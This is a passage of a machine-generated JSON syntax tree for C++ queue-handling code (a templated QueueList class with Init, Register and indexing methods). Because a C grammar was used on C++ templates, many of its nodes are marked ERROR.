6}, "end_point": {"row": 227, "column": 12}}, {"id": 1162, "type": "argument_list", "text": "(DEBUG)", "parent": 1160, "children": [1163], "start_point": {"row": 227, "column": 12}, "end_point": {"row": 227, "column": 19}}, {"id": 1163, "type": "identifier", "text": "DEBUG", "parent": 1162, "children": [], "start_point": {"row": 227, "column": 13}, "end_point": {"row": 227, "column": 18}}, {"id": 1164, "type": "<<", "text": "<<", "parent": 1159, "children": [], "start_point": {"row": 227, "column": 20}, "end_point": {"row": 227, "column": 22}}, {"id": 1165, "type": "string_literal", "text": "\"Address of val: \"", "parent": 1159, "children": [], "start_point": {"row": 227, "column": 23}, "end_point": {"row": 227, "column": 41}}, {"id": 1166, "type": "<<", "text": "<<", "parent": 1158, "children": [], "start_point": {"row": 227, "column": 42}, "end_point": {"row": 227, "column": 44}}, {"id": 1167, "type": "pointer_expression", "text": "&val", "parent": 1158, "children": [1168], "start_point": {"row": 227, "column": 45}, "end_point": {"row": 227, "column": 49}}, {"id": 1168, "type": "identifier", "text": "val", "parent": 1167, "children": [], "start_point": {"row": 227, "column": 46}, "end_point": {"row": 227, "column": 49}}, {"id": 1169, "type": "call_expression", "text": "empty_cv_.ResetIntrpState()", "parent": 1135, "children": [1170, 1173], "start_point": {"row": 229, "column": 4}, "end_point": {"row": 229, "column": 31}}, {"id": 1170, "type": "field_expression", "text": "empty_cv_.ResetIntrpState", "parent": 1169, "children": [1171, 1172], "start_point": {"row": 229, "column": 4}, "end_point": {"row": 229, "column": 29}}, {"id": 1171, "type": "identifier", "text": "empty_cv_", "parent": 1170, "children": [], "start_point": {"row": 229, "column": 4}, "end_point": {"row": 229, "column": 13}}, {"id": 1172, "type": "field_identifier", "text": "ResetIntrpState", "parent": 1170, "children": [], "start_point": {"row": 229, "column": 14}, "end_point": {"row": 229, "column": 29}}, {"id": 1173, "type": "argument_list", "text": "()", "parent": 1169, "children": [], "start_point": {"row": 229, "column": 29}, "end_point": {"row": 229, "column": 31}}, {"id": 1174, "type": "call_expression", "text": "full_cv_.ResetIntrpState()", "parent": 1135, "children": [1175, 1178], "start_point": {"row": 230, "column": 4}, "end_point": {"row": 230, "column": 30}}, {"id": 1175, "type": "field_expression", "text": "full_cv_.ResetIntrpState", "parent": 1174, "children": [1176, 1177], "start_point": {"row": 230, "column": 4}, "end_point": {"row": 230, "column": 28}}, {"id": 1176, "type": "identifier", "text": "full_cv_", "parent": 1175, "children": [], "start_point": {"row": 230, "column": 4}, "end_point": {"row": 230, "column": 12}}, {"id": 1177, "type": "field_identifier", "text": "ResetIntrpState", "parent": 1175, "children": [], "start_point": {"row": 230, "column": 13}, "end_point": {"row": 230, "column": 28}}, {"id": 1178, "type": "argument_list", "text": "()", "parent": 1174, "children": [], "start_point": {"row": 230, "column": 28}, "end_point": {"row": 230, "column": 30}}, {"id": 1179, "type": "assignment_expression", "text": "head_ = 0", "parent": 1135, "children": [1180, 1181, 1182], "start_point": {"row": 231, "column": 4}, "end_point": {"row": 231, "column": 13}}, {"id": 1180, "type": "identifier", "text": "head_", "parent": 1179, "children": [], "start_point": {"row": 231, "column": 4}, "end_point": {"row": 231, "column": 9}}, {"id": 1181, "type": "=", "text": "=", "parent": 1179, "children": [], "start_point": {"row": 231, "column": 10}, "end_point": {"row": 231, "column": 11}}, {"id": 1182, "type": "number_literal", "text": "0", "parent": 1179, "children": [], "start_point": {"row": 231, "column": 12}, "end_point": {"row": 231, "column": 13}}, {"id": 1183, "type": "assignment_expression", "text": "tail_ = 0", "parent": 1135, "children": [1184, 1185, 1186], "start_point": {"row": 232, "column": 4}, "end_point": {"row": 232, "column": 13}}, {"id": 1184, "type": "identifier", "text": "tail_", "parent": 1183, "children": [], "start_point": {"row": 232, "column": 4}, "end_point": {"row": 232, "column": 9}}, {"id": 1185, "type": "=", "text": "=", "parent": 1183, "children": [], "start_point": {"row": 232, "column": 10}, "end_point": {"row": 232, "column": 11}}, {"id": 1186, "type": "number_literal", "text": "0", "parent": 1183, "children": [], "start_point": {"row": 232, "column": 12}, "end_point": {"row": 232, "column": 13}}, {"id": 1187, "type": "ERROR", "text": "template <typename T>\nclass QueueList", "parent": 48, "children": [1188, 1196], "start_point": {"row": 238, "column": 0}, "end_point": {"row": 239, "column": 15}}, {"id": 1188, "type": "binary_expression", "text": "template <typename T>\nclass", "parent": 1187, "children": [1189, 1193, 1195], "start_point": {"row": 238, "column": 0}, "end_point": {"row": 239, "column": 5}}, {"id": 1189, "type": "binary_expression", "text": "template <typename", "parent": 1188, "children": [1190, 1191, 1192], "start_point": {"row": 238, "column": 0}, "end_point": {"row": 238, "column": 18}}, {"id": 1190, "type": "identifier", "text": "template", "parent": 1189, "children": [], "start_point": {"row": 238, "column": 0}, "end_point": {"row": 238, "column": 8}}, {"id": 1191, "type": "<", "text": "<", "parent": 1189, "children": [], "start_point": {"row": 238, "column": 9}, "end_point": {"row": 238, "column": 10}}, {"id": 1192, "type": "identifier", "text": "typename", "parent": 1189, "children": [], "start_point": {"row": 238, "column": 10}, "end_point": {"row": 238, "column": 18}}, {"id": 1193, "type": "ERROR", "text": "T", "parent": 1188, "children": [1194], "start_point": {"row": 238, "column": 19}, "end_point": {"row": 238, "column": 20}}, {"id": 1194, "type": "identifier", "text": "T", "parent": 1193, "children": [], "start_point": {"row": 238, "column": 19}, "end_point": {"row": 238, "column": 20}}, {"id": 1195, "type": ">", "text": ">", "parent": 1188, "children": [], "start_point": {"row": 238, "column": 20}, "end_point": {"row": 238, "column": 21}}, {"id": 1196, "type": "identifier", "text": "QueueList", "parent": 1187, "children": [], "start_point": {"row": 239, "column": 6}, "end_point": {"row": 239, "column": 15}}, {"id": 1197, "type": "labeled_statement", "text": "public:\n QueueList()", "parent": 48, "children": [], "start_point": {"row": 240, "column": 1}, "end_point": {"row": 241, "column": 13}}, {"id": 1198, "type": "call_expression", "text": "QueueList()", "parent": 1197, "children": [1199, 1200], "start_point": {"row": 241, "column": 2}, "end_point": {"row": 241, "column": 13}}, {"id": 1199, "type": "identifier", "text": "QueueList", "parent": 1198, "children": [], "start_point": {"row": 241, "column": 2}, "end_point": {"row": 241, "column": 11}}, {"id": 1200, "type": "argument_list", "text": "()", "parent": 1198, "children": [], "start_point": {"row": 241, "column": 11}, "end_point": {"row": 241, "column": 13}}, {"id": 1201, "type": "function_definition", "text": "void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }", "parent": 48, "children": [1202, 1203], "start_point": {"row": 243, "column": 2}, "end_point": {"row": 248, "column": 3}}, {"id": 1202, "type": "primitive_type", "text": "void", "parent": 1201, "children": [], "start_point": {"row": 243, "column": 2}, "end_point": {"row": 243, "column": 6}}, {"id": 1203, "type": "function_declarator", "text": "Init(int num_queues, int capacity)", "parent": 1201, "children": [1204, 1205], "start_point": {"row": 243, "column": 7}, "end_point": {"row": 243, "column": 41}}, {"id": 1204, "type": "identifier", "text": "Init", "parent": 1203, "children": [], "start_point": {"row": 243, "column": 7}, "end_point": {"row": 243, "column": 11}}, {"id": 1205, "type": "parameter_list", "text": "(int num_queues, int capacity)", "parent": 1203, "children": [1206, 1209], "start_point": {"row": 243, "column": 11}, "end_point": {"row": 243, "column": 41}}, {"id": 1206, "type": "parameter_declaration", "text": "int num_queues", "parent": 1205, "children": [1207, 1208], "start_point": {"row": 243, "column": 12}, "end_point": {"row": 243, "column": 26}}, {"id": 1207, "type": "primitive_type", "text": "int", "parent": 1206, "children": [], "start_point": {"row": 243, "column": 12}, "end_point": {"row": 243, "column": 15}}, {"id": 1208, "type": "identifier", "text": "num_queues", "parent": 1206, "children": [], "start_point": {"row": 243, "column": 16}, "end_point": {"row": 243, "column": 26}}, {"id": 1209, "type": "parameter_declaration", "text": "int capacity", "parent": 1205, "children": [1210, 1211], "start_point": {"row": 243, "column": 28}, "end_point": {"row": 243, "column": 40}}, {"id": 1210, "type": "primitive_type", "text": "int", "parent": 1209, "children": [], "start_point": {"row": 243, "column": 28}, "end_point": {"row": 243, "column": 31}}, {"id": 1211, "type": "identifier", "text": "capacity", "parent": 1209, "children": [], "start_point": {"row": 243, "column": 32}, "end_point": {"row": 243, "column": 40}}, {"id": 1212, "type": "call_expression", "text": "queue_list_.reserve(num_queues)", "parent": 1201, "children": [1213, 1216], "start_point": {"row": 244, "column": 4}, "end_point": {"row": 244, "column": 35}}, {"id": 1213, "type": "field_expression", "text": "queue_list_.reserve", "parent": 1212, "children": [1214, 1215], "start_point": {"row": 244, "column": 4}, "end_point": {"row": 244, "column": 23}}, {"id": 1214, "type": "identifier", "text": "queue_list_", "parent": 1213, "children": [], "start_point": {"row": 244, "column": 4}, "end_point": {"row": 244, "column": 15}}, {"id": 1215, "type": "field_identifier", "text": "reserve", "parent": 1213, "children": [], "start_point": {"row": 244, "column": 16}, "end_point": {"row": 244, "column": 23}}, {"id": 1216, "type": "argument_list", "text": "(num_queues)", "parent": 1212, "children": [1217], "start_point": {"row": 244, "column": 23}, "end_point": {"row": 244, "column": 35}}, {"id": 1217, "type": "identifier", "text": "num_queues", "parent": 1216, "children": [], "start_point": {"row": 244, "column": 24}, "end_point": {"row": 244, "column": 34}}, {"id": 1218, "type": "for_statement", "text": "for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }", "parent": 1201, "children": [1219, 1225, 1229], "start_point": {"row": 245, "column": 4}, "end_point": {"row": 247, "column": 5}}, {"id": 1219, "type": "declaration", "text": "int i = 0;", "parent": 1218, "children": [1220, 1221], "start_point": {"row": 245, "column": 9}, "end_point": {"row": 245, "column": 19}}, {"id": 1220, "type": "primitive_type", "text": "int", "parent": 1219, "children": [], "start_point": {"row": 245, "column": 9}, "end_point": {"row": 245, "column": 12}}, {"id": 1221, "type": "init_declarator", "text": "i = 0", "parent": 1219, "children": [1222, 1223, 1224], "start_point": {"row": 245, "column": 13}, "end_point": {"row": 245, "column": 18}}, {"id": 1222, "type": "identifier", "text": "i", "parent": 1221, "children": [], "start_point": {"row": 245, "column": 13}, "end_point": {"row": 245, "column": 14}}, {"id": 1223, "type": "=", "text": "=", "parent": 1221, "children": [], "start_point": {"row": 245, "column": 15}, "end_point": {"row": 245, "column": 16}}, {"id": 1224, "type": "number_literal", "text": "0", "parent": 1221, "children": [], "start_point": {"row": 245, "column": 17}, "end_point": {"row": 245, "column": 18}}, {"id": 1225, "type": "binary_expression", "text": "i < num_queues", "parent": 1218, "children": [1226, 1227, 1228], "start_point": {"row": 245, "column": 20}, "end_point": {"row": 245, "column": 34}}, {"id": 1226, "type": "identifier", "text": "i", "parent": 1225, "children": [], "start_point": {"row": 245, "column": 20}, "end_point": {"row": 245, "column": 21}}, {"id": 1227, "type": "<", "text": "<", "parent": 1225, "children": [], "start_point": {"row": 245, "column": 22}, "end_point": {"row": 245, "column": 23}}, {"id": 1228, "type": "identifier", "text": "num_queues", "parent": 1225, "children": [], "start_point": {"row": 245, "column": 24}, "end_point": {"row": 245, "column": 34}}, {"id": 1229, "type": "update_expression", "text": "i++", "parent": 1218, "children": [1230, 1231], "start_point": {"row": 245, "column": 36}, "end_point": {"row": 245, "column": 39}}, {"id": 1230, "type": "identifier", "text": "i", "parent": 1229, "children": [], "start_point": {"row": 245, "column": 36}, "end_point": {"row": 245, "column": 37}}, {"id": 1231, "type": "++", "text": "++", "parent": 1229, "children": [], "start_point": {"row": 245, "column": 37}, "end_point": {"row": 245, "column": 39}}, {"id": 1232, "type": "call_expression", "text": "queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity))", "parent": 1218, "children": [1233, 1236], "start_point": {"row": 246, "column": 6}, "end_point": {"row": 246, "column": 68}}, {"id": 1233, "type": "field_expression", "text": "queue_list_.emplace_back", "parent": 1232, "children": [1234, 1235], "start_point": {"row": 246, "column": 6}, "end_point": {"row": 246, "column": 30}}, {"id": 1234, "type": "identifier", "text": "queue_list_", "parent": 1233, "children": [], "start_point": {"row": 246, "column": 6}, "end_point": {"row": 246, "column": 17}}, {"id": 1235, "type": "field_identifier", "text": "emplace_back", "parent": 1233, "children": [], "start_point": {"row": 246, "column": 18}, "end_point": {"row": 246, "column": 30}}, {"id": 1236, "type": "argument_list", "text": "(std::make_unique<Queue<T>>(capacity))", "parent": 1232, "children": [1237, 1239], "start_point": {"row": 246, "column": 30}, "end_point": {"row": 246, "column": 68}}, {"id": 1237, "type": "ERROR", "text": "std::", "parent": 1236, "children": [1238], "start_point": {"row": 246, "column": 31}, "end_point": {"row": 246, "column": 36}}, {"id": 1238, "type": "identifier", "text": "std", "parent": 1237, "children": [], "start_point": {"row": 246, "column": 31}, "end_point": {"row": 246, "column": 34}}, {"id": 1239, "type": "binary_expression", "text": "make_unique<Queue<T>>(capacity)", "parent": 1236, "children": [1240, 1244, 1245], "start_point": {"row": 246, "column": 36}, "end_point": {"row": 246, "column": 67}}, {"id": 1240, "type": "binary_expression", "text": "make_unique<Queue", "parent": 1239, "children": [1241, 1242, 1243], "start_point": {"row": 246, "column": 36}, "end_point": {"row": 246, "column": 53}}, {"id": 1241, "type": "identifier", "text": "make_unique", "parent": 1240, "children": [], "start_point": {"row": 246, "column": 36}, "end_point": {"row": 246, "column": 47}}, {"id": 1242, "type": "<", "text": "<", "parent": 1240, "children": [], "start_point": {"row": 246, "column": 47}, "end_point": {"row": 246, "column": 48}}, {"id": 1243, "type": "identifier", "text": "Queue", "parent": 1240, "children": [], "start_point": {"row": 246, "column": 48}, "end_point": {"row": 246, "column": 53}}, {"id": 1244, "type": "<", "text": "<", "parent": 1239, "children": [], "start_point": {"row": 246, "column": 53}, "end_point": {"row": 246, "column": 54}}, {"id": 1245, "type": "binary_expression", "text": "T>>(capacity)", "parent": 1239, "children": [1246, 1247, 1248], "start_point": {"row": 246, "column": 54}, "end_point": {"row": 246, "column": 67}}, {"id": 1246, "type": "identifier", "text": "T", "parent": 1245, "children": [], "start_point": {"row": 246, "column": 54}, "end_point": {"row": 246, "column": 55}}, {"id": 1247, "type": ">>", "text": ">>", "parent": 1245, "children": [], "start_point": {"row": 246, "column": 55}, "end_point": {"row": 246, "column": 57}}, {"id": 1248, "type": "parenthesized_expression", "text": "(capacity)", "parent": 1245, "children": [1249], "start_point": {"row": 246, "column": 57}, "end_point": {"row": 246, "column": 67}}, {"id": 1249, "type": "identifier", "text": "capacity", "parent": 1248, "children": [], "start_point": {"row": 246, "column": 58}, "end_point": {"row": 246, "column": 66}}, {"id": 1250, "type": "function_definition", "text": "Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }", "parent": 48, "children": [1251, 1252], "start_point": {"row": 250, "column": 2}, "end_point": {"row": 259, "column": 3}}, {"id": 1251, "type": "type_identifier", "text": "Status", "parent": 1250, "children": [], "start_point": {"row": 250, "column": 2}, "end_point": {"row": 250, "column": 8}}, {"id": 1252, "type": "function_declarator", "text": "Register(TaskGroup *vg)", "parent": 1250, "children": [1253, 1254], "start_point": {"row": 250, "column": 9}, "end_point": {"row": 250, "column": 32}}, {"id": 1253, "type": "identifier", "text": "Register", "parent": 1252, "children": [], "start_point": {"row": 250, "column": 9}, "end_point": {"row": 250, "column": 17}}, {"id": 1254, "type": "parameter_list", "text": "(TaskGroup *vg)", "parent": 1252, "children": [1255], "start_point": {"row": 250, "column": 17}, "end_point": {"row": 250, "column": 32}}, {"id": 1255, "type": "parameter_declaration", "text": "TaskGroup *vg", "parent": 1254, "children": [1256, 1257], "start_point": {"row": 250, "column": 18}, "end_point": {"row": 250, "column": 31}}, {"id": 1256, "type": "type_identifier", "text": "TaskGroup", "parent": 1255, "children": [], "start_point": {"row": 250, "column": 18}, "end_point": {"row": 250, "column": 27}}, {"id": 1257, "type": "pointer_declarator", "text": "*vg", "parent": 1255, "children": [1258, 1259], "start_point": {"row": 250, "column": 28}, "end_point": {"row": 250, "column": 31}}, {"id": 1258, "type": "*", "text": "*", "parent": 1257, "children": [], "start_point": {"row": 250, "column": 28}, "end_point": {"row": 250, "column": 29}}, {"id": 1259, "type": "identifier", "text": "vg", "parent": 1257, "children": [], "start_point": {"row": 250, "column": 29}, "end_point": {"row": 250, "column": 31}}, {"id": 1260, "type": "if_statement", "text": "if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\");\n }", "parent": 1250, "children": [1261], "start_point": {"row": 251, "column": 4}, "end_point": {"row": 254, "column": 5}}, {"id": 1261, "type": "parenthesized_expression", "text": "(vg == nullptr)", "parent": 1260, "children": [1262], "start_point": {"row": 251, "column": 7}, "end_point": {"row": 251, "column": 22}}, {"id": 1262, "type": "binary_expression", "text": "vg == nullptr", "parent": 1261, "children": [1263, 1264, 1265], "start_point": {"row": 251, "column": 8}, "end_point": {"row": 251, "column": 21}}, {"id": 1263, "type": "identifier", "text": "vg", "parent": 1262, "children": [], "start_point": {"row": 251, "column": 8}, "end_point": {"row": 251, "column": 10}}, {"id": 1264, "type": "==", "text": "==", "parent": 1262, "children": [], "start_point": {"row": 251, "column": 11}, "end_point": {"row": 251, "column": 13}}, {"id": 1265, "type": "null", "text": "nullptr", "parent": 1262, "children": [1266], "start_point": {"row": 251, "column": 14}, "end_point": {"row": 251, "column": 21}}, {"id": 1266, "type": "nullptr", "text": "nullptr", "parent": 1265, "children": [], "start_point": {"row": 251, "column": 14}, "end_point": {"row": 251, "column": 21}}, {"id": 1267, "type": "return_statement", "text": "return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\");", "parent": 1260, "children": [1268], "start_point": {"row": 252, "column": 6}, "end_point": {"row": 253, "column": 70}}, {"id": 1268, "type": "call_expression", "text": "Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\")", "parent": 1267, "children": [1269, 1270], "start_point": {"row": 252, "column": 13}, "end_point": {"row": 253, "column": 69}}, {"id": 1269, "type": "identifier", "text": "Status", "parent": 1268, "children": [], "start_point": {"row": 252, "column": 13}, "end_point": {"row": 252, "column": 19}}, {"id": 1270, "type": "argument_list", "text": "(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n \"Null task group during QueueList registration.\")", "parent": 1268, "children": [1271, 1273, 1274, 1275, 1276], "start_point": {"row": 252, "column": 19}, "end_point": {"row": 253, "column": 69}}, {"id": 1271, "type": "ERROR", "text": "StatusCode::", "parent": 1270, "children": [1272], "start_point": {"row": 252, "column": 20}, "end_point": {"row": 252, "column": 32}}, {"id": 1272, "type": "identifier", "text": "StatusCode", "parent": 1271, "children": [], "start_point": {"row": 252, "column": 20}, "end_point": {"row": 252, "column": 30}}, {"id": 1273, "type": "identifier", "text": "kMDUnexpectedError", "parent": 1270, "children": [], "start_point": {"row": 252, "column": 32}, "end_point": {"row": 252, "column": 50}}, {"id": 1274, "type": "identifier", "text": "__LINE__", "parent": 1270, "children": [], "start_point": {"row": 252, "column": 52}, "end_point": {"row": 252, "column": 60}}, {"id": 1275, "type": "identifier", "text": "__FILE__", "parent": 1270, "children": [], "start_point": {"row": 252, "column": 62}, "end_point": {"row": 252, "column": 70}}, {"id": 1276, "type": "string_literal", "text": "\"Null task group during QueueList registration.\"", "parent": 1270, "children": [], "start_point": {"row": 253, "column": 20}, "end_point": {"row": 253, "column": 68}}, {"id": 1277, "type": "for_statement", "text": "for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }", "parent": 1250, "children": [1278, 1284, 1292], "start_point": {"row": 255, "column": 4}, "end_point": {"row": 257, "column": 5}}, {"id": 1278, "type": "declaration", "text": "int i = 0;", "parent": 1277, "children": [1279, 1280], "start_point": {"row": 255, "column": 9}, "end_point": {"row": 255, "column": 19}}, {"id": 1279, "type": "primitive_type", "text": "int", "parent": 1278, "children": [], "start_point": {"row": 255, "column": 9}, "end_point": {"row": 255, "column": 12}}, {"id": 1280, "type": "init_declarator", "text": "i = 0", "parent": 1278, "children": [1281, 1282, 1283], "start_point": {"row": 255, "column": 13}, "end_point": {"row": 255, "column": 18}}, {"id": 1281, "type": "identifier", "text": "i", "parent": 1280, "children": [], "start_point": {"row": 255, "column": 13}, "end_point": {"row": 255, "column": 14}}, {"id": 1282, "type": "=", "text": "=", "parent": 1280, "children": [], "start_point": {"row": 255, "column": 15}, "end_point": {"row": 255, "column": 16}}, {"id": 1283, "type": "number_literal", "text": "0", "parent": 1280, "children": [], "start_point": {"row": 255, "column": 17}, "end_point": {"row": 255, "column": 18}}, {"id": 1284, "type": "binary_expression", "text": "i < queue_list_.size()", "parent": 1277, "children": [1285, 1286, 1287], "start_point": {"row": 255, "column": 20}, "end_point": {"row": 255, "column": 42}}, {"id": 1285, "type": "identifier", "text": "i", "parent": 1284, "children": [], "start_point": {"row": 255, "column": 20}, "end_point": {"row": 255, "column": 21}}, {"id": 1286, "type": "<", "text": "<", "parent": 1284, "children": [], "start_point": {"row": 255, "column": 22}, "end_point": {"row": 255, "column": 23}}, {"id": 1287, "type": "call_expression", "text": "queue_list_.size()", "parent": 1284, "children": [1288, 1291], "start_point": {"row": 255, "column": 24}, "end_point": {"row": 255, "column": 42}}, {"id": 1288, "type": "field_expression", "text": "queue_list_.size", "parent": 1287, "children": [1289, 1290], "start_point": {"row": 255, "column": 24}, "end_point": {"row": 255, "column": 40}}, {"id": 1289, "type": "identifier", "text": "queue_list_", "parent": 1288, "children": [], "start_point": {"row": 255, "column": 24}, "end_point": {"row": 255, "column": 35}}, {"id": 1290, "type": "field_identifier", "text": "size", "parent": 1288, "children": [], "start_point": {"row": 255, "column": 36}, "end_point": {"row": 255, "column": 40}}, {"id": 1291, "type": "argument_list", "text": "()", "parent": 1287, "children": [], "start_point": {"row": 255, "column": 40}, "end_point": {"row": 255, "column": 42}}, {"id": 1292, "type": "update_expression", "text": "++i", "parent": 1277, "children": [1293, 1294], "start_point": {"row": 255, "column": 44}, "end_point": {"row": 255, "column": 47}}, {"id": 1293, "type": "++", "text": "++", "parent": 1292, "children": [], "start_point": {"row": 255, "column": 44}, "end_point": {"row": 255, "column": 46}}, {"id": 1294, "type": "identifier", "text": "i", "parent": 1292, "children": [], "start_point": {"row": 255, "column": 46}, "end_point": {"row": 255, "column": 47}}, {"id": 1295, "type": "call_expression", "text": "RETURN_IF_NOT_OK(queue_list_[i]->Register(vg))", "parent": 1277, "children": [1296, 1297], "start_point": {"row": 256, "column": 6}, "end_point": {"row": 256, "column": 52}}, {"id": 1296, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 1295, "children": [], "start_point": {"row": 256, "column": 6}, "end_point": {"row": 256, "column": 22}}, {"id": 1297, "type": "argument_list", "text": "(queue_list_[i]->Register(vg))", "parent": 1295, "children": [1298], "start_point": {"row": 256, "column": 22}, "end_point": {"row": 256, "column": 52}}, {"id": 1298, "type": "call_expression", "text": "queue_list_[i]->Register(vg)", "parent": 1297, "children": [1299, 1304], "start_point": {"row": 256, "column": 23}, "end_point": {"row": 256, "column": 51}}, {"id": 1299, "type": "field_expression", "text": "queue_list_[i]->Register", "parent": 1298, "children": [1300, 1303], "start_point": {"row": 256, "column": 23}, "end_point": {"row": 256, "column": 47}}, {"id": 1300, "type": "subscript_expression", "text": "queue_list_[i]", "parent": 1299, "children": [1301, 1302], "start_point": {"row": 256, "column": 23}, "end_point": {"row": 256, "column": 37}}, {"id": 1301, "type": "identifier", "text": "queue_list_", "parent": 1300, "children": [], "start_point": {"row": 256, "column": 23}, "end_point": {"row": 256, "column": 34}}, {"id": 1302, "type": "identifier", "text": "i", "parent": 1300, "children": [], "start_point": {"row": 256, "column": 35}, "end_point": {"row": 256, "column": 36}}, {"id": 1303, "type": "field_identifier", "text": "Register", "parent": 1299, "children": [], "start_point": {"row": 256, "column": 39}, "end_point": {"row": 256, "column": 47}}, {"id": 1304, "type": "argument_list", "text": "(vg)", "parent": 1298, "children": [1305], "start_point": {"row": 256, "column": 47}, "end_point": {"row": 256, "column": 51}}, {"id": 1305, "type": "identifier", "text": "vg", "parent": 1304, "children": [], "start_point": {"row": 256, "column": 48}, "end_point": {"row": 256, "column": 50}}, {"id": 1306, "type": "return_statement", "text": "return Status::OK();", "parent": 1250, "children": [1307, 1309], "start_point": {"row": 258, "column": 4}, "end_point": {"row": 258, "column": 24}}, {"id": 1307, "type": "ERROR", "text": "Status::", "parent": 1306, "children": [1308], "start_point": {"row": 258, "column": 11}, "end_point": {"row": 258, "column": 19}}, {"id": 1308, "type": "identifier", "text": "Status", "parent": 1307, "children": [], "start_point": {"row": 258, "column": 11}, "end_point": {"row": 258, "column": 17}}, {"id": 1309, "type": "call_expression", "text": "OK()", "parent": 1306, "children": [1310, 1311], "start_point": {"row": 258, "column": 19}, "end_point": {"row": 258, "column": 23}}, {"id": 1310, "type": "identifier", "text": "OK", "parent": 1309, "children": [], "start_point": {"row": 258, "column": 19}, "end_point": {"row": 258, "column": 21}}, {"id": 1311, "type": "argument_list", "text": "()", "parent": 1309, "children": [], "start_point": {"row": 258, "column": 21}, "end_point": {"row": 258, "column": 23}}, {"id": 1312, "type": "ERROR", "text": "auto size() const", "parent": 48, "children": [1313, 1315], "start_point": {"row": 261, "column": 2}, "end_point": {"row": 261, "column": 19}}, {"id": 1313, "type": "storage_class_specifier", "text": "auto", "parent": 1312, "children": [1314], "start_point": {"row": 261, "column": 2}, "end_point": {"row": 261, "column": 6}}, {"id": 1314, "type": "auto", "text": "auto", "parent": 1313, "children": [], "start_point": {"row": 261, "column": 2}, "end_point": {"row": 261, "column": 6}}, {"id": 1315, "type": "identifier", "text": "size", "parent": 1312, "children": [], "start_point": {"row": 261, "column": 7}, "end_point": {"row": 261, "column": 11}}, {"id": 1316, "type": "return_statement", "text": "return queue_list_.size();", "parent": 48, "children": [1317], "start_point": {"row": 261, "column": 22}, "end_point": {"row": 261, "column": 48}}, {"id": 1317, "type": "call_expression", "text": "queue_list_.size()", "parent": 1316, "children": [1318, 1321], "start_point": {"row": 261, "column": 29}, "end_point": {"row": 261, "column": 47}}, {"id": 1318, "type": "field_expression", "text": "queue_list_.size", "parent": 1317, "children": [1319, 1320], "start_point": {"row": 261, "column": 29}, "end_point": {"row": 261, "column": 45}}, {"id": 1319, "type": "identifier", "text": "queue_list_", "parent": 1318, "children": [], "start_point": {"row": 261, "column": 29}, "end_point": {"row": 261, "column": 40}}, {"id": 1320, "type": "field_identifier", "text": "size", "parent": 1318, "children": [], "start_point": {"row": 261, "column": 41}, "end_point": {"row": 261, "column": 45}}, {"id": 1321, "type": "argument_list", "text": "()", "parent": 1317, "children": [], "start_point": {"row": 261, "column": 45}, "end_point": {"row": 261, "column": 47}}, {"id": 1322, "type": "labeled_statement", "text": "std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }", "parent": 48, "children": [1323, 1324], "start_point": {"row": 263, "column": 2}, "end_point": {"row": 263, "column": 87}}, {"id": 1323, "type": "statement_identifier", "text": "std", "parent": 1322, "children": [], "start_point": {"row": 263, "column": 2}, "end_point": {"row": 263, "column": 5}}, {"id": 1324, "type": "ERROR", "text": ":unique_ptr<Queue<T>> &operator[](const int index)", "parent": 1322, "children": [1325], "start_point": {"row": 263, "column": 6}, "end_point": {"row": 263, "column": 56}}, {"id": 1325, "type": "binary_expression", "text": "unique_ptr<Queue<T>> &operator[](const int index)", "parent": 1324, "children": [1326, 1330, 1331], "start_point": {"row": 263, "column": 7}, "end_point": {"row": 263, "column": 56}}, {"id": 1326, "type": "binary_expression", "text": "unique_ptr<Queue", "parent": 1325, "children": [1327, 1328, 1329], "start_point": {"row": 263, "column": 7}, "end_point": {"row": 263, "column": 23}}, {"id": 1327, "type": "identifier", "text": "unique_ptr", "parent": 1326, "children": [], "start_point": {"row": 263, "column": 7}, "end_point": {"row": 263, "column": 17}}, {"id": 1328, "type": "<", "text": "<", "parent": 1326, "children": [], "start_point": {"row": 263, "column": 17}, "end_point": {"row": 263, "column": 18}}, {"id": 1329, "type": "identifier", "text": "Queue", "parent": 1326, "children": [], "start_point": {"row": 263, "column": 18}, "end_point": {"row": 263, "column": 23}}, {"id": 1330, "type": "<", "text": "<", "parent": 1325, "children": [], "start_point": {"row": 263, "column": 23}, "end_point": {"row": 263, "column": 24}}, {"id": 1331, "type": "binary_expression", "text": "T>> &operator[](const int index)", "parent": 1325, "children": [1332, 1333, 1334], "start_point": {"row": 263, "column": 24}, "end_point": {"row": 263, "column": 56}}, {"id": 1332, "type": "identifier", "text": "T", "parent": 1331, "children": [], "start_point": {"row": 263, "column": 24}, "end_point": {"row": 263, "column": 25}}, {"id": 1333, "type": ">>", "text": ">>", "parent": 1331, "children": [], "start_point": {"row": 263, "column": 25}, "end_point": {"row": 263, "column": 27}}, {"id": 1334, "type": "pointer_expression", "text": "&operator[](const int index)", "parent": 1331, "children": [1335], "start_point": {"row": 263, "column": 28}, "end_point": {"row": 263, "column": 56}}, {"id": 1335, "type": "call_expression", "text": "operator[](const int index)", "parent": 1334, "children": [1336, 1339], "start_point": {"row": 263, "column": 29}, "end_point": {"row": 263, "column": 56}}, {"id": 1336, "type": "subscript_expression", "text": "operator[]", "parent": 1335, "children": [1337, 1338], "start_point": {"row": 263, "column": 29}, "end_point": {"row": 263, "column": 39}}, {"id": 1337, "type": "identifier", "text": "operator", "parent": 1336, "children": [], "start_point": {"row": 263, "column": 29}, "end_point": {"row": 263, "column": 37}}, {"id": 1338, "type": "identifier", "text": "", "parent": 